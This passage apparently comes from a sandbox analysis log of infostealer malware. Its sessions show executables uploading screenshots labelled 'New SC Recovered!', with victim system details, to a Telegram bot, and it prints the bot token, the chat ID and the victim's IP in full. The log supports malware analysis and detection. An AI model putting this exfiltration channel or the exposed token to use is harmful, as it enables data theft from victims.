2024-04-19 17:36:42 UTC	1552	OUT	Data Raw: a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 00 9f fe 3d e4 ff 00 74 ff 00 2a f9 e6 be 83 9a 68 8c 12 01 22 12 54 ff 00 10 f4 af 9f 2a e2 67 30 ad cd 33 c4 93 d9 d8 fd 82 e6 d6 0b fb 3c ee 58 6e 17 21 4f a8 3d bf 0a c3 a2 a8 83 73 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b0 e8 a2 80 0a 28 a2 98 05 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 ac 8a 29 01 a7 2e b9 Data Ascii: z(J?>z(J?>z(J?>z(J?>z(J?>z(J?>z(=th"Tg03<Xn!O=sS$?`;ucO(k\[/p(v).
2024-04-19 17:36:42 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 31 61 64 39 66 36 66 35 37 34 39 2d 2d 0d 0a Data Ascii: -----------------------------8dc91ad9f6f5749--
2024-04-19 17:36:42 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:36:42 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:36:42 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3453,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548202,"document":{"file_name":"user-618321 2024-06-21 04-50-07.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg19ZiKrqrAZRY24NOjh2I2hO8nVS4QAAsEXAAKLUhlRQczAxVjWXYYBAAdtAAM0BA","file_unique_id":"AQADwRcAAotSGVFy","file_size":12509,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg19ZiKrqrAZRY24NOjh2I2hO8nVS4QAAsEXAAKLUhlRQczAxVjWXYYBAAdtAAM0BA","file_unique_id":"AQADwRcAAotSGVFy","file_size":12509,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINfWYiq6qwGUWNuDTo4diNoTvJ1UuEAALBFwACi1IZUUHMwMVY1l2GNAQ","file_unique_id":"AgADwRcAAotSGVE","file_size":66515},"caption":"New SC Recovered!\n\nTime: 06/21/2024 04:40:07\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49737	149.154.167.220	443	3472	C:\Users\user\Desktop\z1E-catalogSamples.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:36:50 UTC	262	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc94e8357314fa Host: api.telegram.org Content-Length: 67138 Expect: 100-continue Connection: Keep-Alive
2024-04-19 17:36:50 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 34 65 38 33 35 37 33 31 34 66 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 34 65 38 33 35 37 33 31 34 66 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 36 2f 32 35 2f 32 30 32 34 20 30 37 3a 32 31 3a 35 39 0a 55 73 65 72 Data Ascii: -----------------------------8dc94e8357314faContent-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc94e8357314faContent-Disposition: form-data; name="caption"New SC Recovered!Time: 06/25/2024 07:21:59User
2024-04-19 17:36:50 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:36:50 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:36:50 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:36:50 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:36:50 UTC	1552	OUT	Data Raw: a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 00 9f fe 3d e4 ff 00 74 ff 00 2a f9 e6 be 83 9a 68 8c 12 01 22 12 54 ff 00 10 f4 af 9f 2a e2 67 30 ad cd 33 c4 93 d9 d8 fd 82 e6 d6 0b fb 3c ee 58 6e 17 21 4f a8 3d bf 0a c3 a2 a8 83 73 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b0 e8 a2 80 0a 28 a2 98 05 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 ac 8a 29 01 a7 2e b9 Data Ascii: z(J?>z(J?>z(J?>z(J?>z(J?>z(J?>z(=th"Tg03<Xn!O=sS$?`;ucO(k\[/p(v).
2024-04-19 17:36:50 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 34 65 38 33 35 37 33 31 34 66 61 2d 2d 0d 0a Data Ascii: -----------------------------8dc94e8357314fa--
2024-04-19 17:36:50 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:36:51 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:36:51 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3454,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548211,"document":{"file_name":"user-618321 2024-06-25 07-27-02.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg1-ZiKrs-rdP2z2EJl-dBDvOQy5_8EAAsIXAAKLUhlRi8E5n3rp5YkBAAdtAAM0BA","file_unique_id":"AQADwhcAAotSGVFy","file_size":12509,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg1-ZiKrs-rdP2z2EJl-dBDvOQy5_8EAAsIXAAKLUhlRi8E5n3rp5YkBAAdtAAM0BA","file_unique_id":"AQADwhcAAotSGVFy","file_size":12509,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINfmYiq7Pq3T9s9hCZfnQQ7zkMuf_BAALCFwACi1IZUYvBOZ966eWJNAQ","file_unique_id":"AgADwhcAAotSGVE","file_size":66515},"caption":"New SC Recovered!\n\nTime: 06/25/2024 07:21:59\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49738	149.154.167.220	443	7324	C:\Users\user\AppData\Roaming\vZkoWbol.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:36:55 UTC	238	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc8528d0ad5c27 Host: api.telegram.org Content-Length: 67138 Expect: 100-continue
2024-04-19 17:36:56 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 35 32 38 64 30 61 64 35 63 32 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 35 32 38 64 30 61 64 35 63 32 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 36 2f 30 35 2f 32 30 32 34 20 30 36 3a 31 39 3a 31 31 0a 55 73 65 72 Data Ascii: -----------------------------8dc8528d0ad5c27Content-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc8528d0ad5c27Content-Disposition: form-data; name="caption"New SC Recovered!Time: 06/05/2024 06:19:11User
2024-04-19 17:36:56 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:36:56 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:36:56 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:36:56 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:36:56 UTC	1552	OUT	Data Raw: a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 00 9f fe 3d e4 ff 00 74 ff 00 2a f9 e6 be 83 9a 68 8c 12 01 22 12 54 ff 00 10 f4 af 9f 2a e2 67 30 ad cd 33 c4 93 d9 d8 fd 82 e6 d6 0b fb 3c ee 58 6e 17 21 4f a8 3d bf 0a c3 a2 a8 83 73 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b0 e8 a2 80 0a 28 a2 98 05 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 ac 8a 29 01 a7 2e b9 Data Ascii: z(J?>z(J?>z(J?>z(J?>z(J?>z(J?>z(=th"Tg03<Xn!O=sS$?`;ucO(k\[/p(v).
2024-04-19 17:36:56 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 35 32 38 64 30 61 64 35 63 32 37 2d 2d 0d 0a Data Ascii: -----------------------------8dc8528d0ad5c27--
2024-04-19 17:36:56 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:36:56 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:36:56 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3455,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548216,"document":{"file_name":"user-618321 2024-06-05 06-29-12.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg1_ZiKruCROdQkRW_TgmgauSUCs-AEAAsMXAAKLUhlRmgoo-q5sjo8BAAdtAAM0BA","file_unique_id":"AQADwxcAAotSGVFy","file_size":12509,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg1_ZiKruCROdQkRW_TgmgauSUCs-AEAAsMXAAKLUhlRmgoo-q5sjo8BAAdtAAM0BA","file_unique_id":"AQADwxcAAotSGVFy","file_size":12509,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINf2Yiq7gkTnUJEVv04JoGrklArPgBAALDFwACi1IZUZoKKPqubI6PNAQ","file_unique_id":"AgADwxcAAotSGVE","file_size":66515},"caption":"New SC Recovered!\n\nTime: 06/05/2024 06:19:11\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49739	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:37:12 UTC	238	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc60a81bbe05f3 Host: api.telegram.org Content-Length: 67151 Expect: 100-continue
2024-04-19 17:37:12 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 30 61 38 31 62 62 65 30 35 66 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 30 61 38 31 62 62 65 30 35 66 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 34 2f 31 39 2f 32 30 32 34 20 31 39 3a 33 37 3a 31 31 0a 55 73 65 72 Data Ascii: -----------------------------8dc60a81bbe05f3Content-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc60a81bbe05f3Content-Disposition: form-data; name="caption"New SC Recovered!Time: 04/19/2024 19:37:11User
